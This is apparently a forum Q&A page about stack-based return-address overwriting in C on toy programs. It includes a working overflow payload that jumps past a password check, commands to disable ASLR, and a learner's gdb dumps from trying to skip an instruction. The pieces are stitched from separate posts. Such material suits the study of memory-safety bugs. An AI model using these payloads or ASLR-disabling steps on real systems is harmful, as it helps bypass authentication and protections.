0x00005555555548ca <+56>: jmp 0x5555555548dd <main+75>
0x00005555555548cc <+58>: lea 0x115(%rip),%rdi # 0x5555555549e8
0x00005555555548d3 <+65>: callq 0x5555555546f0
0x00005555555548d8 <+70>: mov $0x0,%eax
0x00005555555548dd <+75>: leaveq
0x00005555555548de <+76>: retq
End of assembler dump.
I want to jump to the address 0x00005555555548cc. So you have to create the string like this:
echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAA\xcc\x48\x55\x55\x55\x55\x00\x00' > arcInjection.txt
Then you can call it by running:
(gdb) run < arcInjection.txt
Access granted!
If you want to run it outside the gdb, you have to disable address space layout randomization (ASR)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Then you can run it also in the console:
./isPasswordOk < arcInjection.txt
Enter password:
Access granted!
The ASR is activated again after reboot, or if you call afterwards:
echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
I'm trying to rewrite ret adress from function foo() to skip first instruction after leaving function foo(). I'm following Smash stack for fun or profit and Hacking by Jon Erickson. Here is simple code where I want to skip "b = 2;" instruction, so in b should be stored value 1.
Compiled in gcc, settings: -fno-stack-protector -z execstack -g
Also I have turned off ASLR.
#include <stdio.h>
int foo() {
int c = 0;
int *ptr;
ptr = (int*) 0x00007fffffffdf38;
// Second instruction after leaving from foo(). I also tried to skip all instructions before call printf function.
*ptr = 0x0000000000400577;
return 0;
}
int main()
{
int b = 1;
foo();
b = 2;
printf("b = %d\n", b);
return 0;
}
Output of this program is: "b = 2".
How I assumed where is stored RET instruction:
(gdb) disass main
...
0x000000000040056b <+20>: call 0x40052d <foo>
0x0000000000400570 <+25>: mov DWORD PTR [rbp-0x4],0x2
0x0000000000400577 <+32>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040057a <+35>: mov esi,eax
...
(gdb) break 4 // set breakpoint 1 in function foo before int *ptr;
(gdb) break 7 // set breakpoint 2 in function foo after rewriting RET for checking
(gdb) run
(gdb) x/8x &c // "x/8x $esp" doesn't work, it says: "Cannot access memory at address 0xffffffffffffdf30", so I'm looking into memory from &c
0x7fffffffdf2c: 0x00000000 0xffffdf50 0x00007fff 0x00400570
0x7fffffffdf3c: 0x00000000 0xffffe030 0x00007fff 0x00000000
// simple math tell me, it should be:
(gdb) x/8xb 0x7fffffffdf38
0x7fffffffdf38: 0x70 0x05 0x40 0x00 0x00 0x00 0x00 0x00
This is how I have found the RET address, it is at 0x7fffffffdf38. To this place I'm putting address of next instruction - 0x0000000000400577.
However, computer still didn't skip instruction b = 2, even when RET is successfully rewrited.
I checked it for confirmation if it really replaced the RET address:
(gdb) c
(gdb) x/8xb 0x7fffffffdf38
0x7fffffffdf38: 0x77 0x05 0x40 0x00 0x00 0x00 0x00 0x00
So RET address is really rewrited but when program leaves from function foo() it jumps to original address 0x0000000000400570 wich I want to skip...
It should be simple, find where is stored ret adress and then put to this place other adress. What am I doing wrong?
Thanks for every answer.
For specifying the questing I'm adding dissasembled functions:
Dump of assembler code for function foo:
0x000000000040052d <+0>: push rbp
0x000000000040052e <+1>: mov rbp,rsp
0x0000000000400531 <+4>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400538 <+11>: movabs rax,0x7fffffffdf38
0x0000000000400542 <+21>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400546 <+25>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040054a <+29>: mov DWORD PTR [rax],0x400577
0x0000000000400550 <+35>: mov eax,0x0
0x0000000000400555 <+40>: pop rbp
0x0000000000400556 <+41>: ret
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0000000000400557 <+0>: push rbp
0x0000000000400558 <+1>: mov rbp,rsp
0x000000000040055b <+4>: sub rsp,0x10
0x000000000040055f <+8>: mov DWORD PTR [rbp-0x4],0x1
0x0000000000400566 <+15>: mov eax,0x0
0x000000000040056b <+20>: call 0x40052d <foo>
0x0000000000400570 <+25>: mov DWORD PTR [rbp-0x4],0x2
0x0000000000400577 <+32>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040057a <+35>: mov esi,eax
0x000000000040057c <+37>: mov edi,0x400624
0x0000000000400581 <+42>: mov eax,0x0
0x0000000000400586 <+47>: call 0x400410 <printf#plt>
0x000000000040058b <+52>: mov eax,0x0
0x0000000000400590 <+57>: leave
0x0000000000400591 <+58>: ret
When I run this in gdb debugger it works. So the code is written good, question solved. The problem is somewhere else...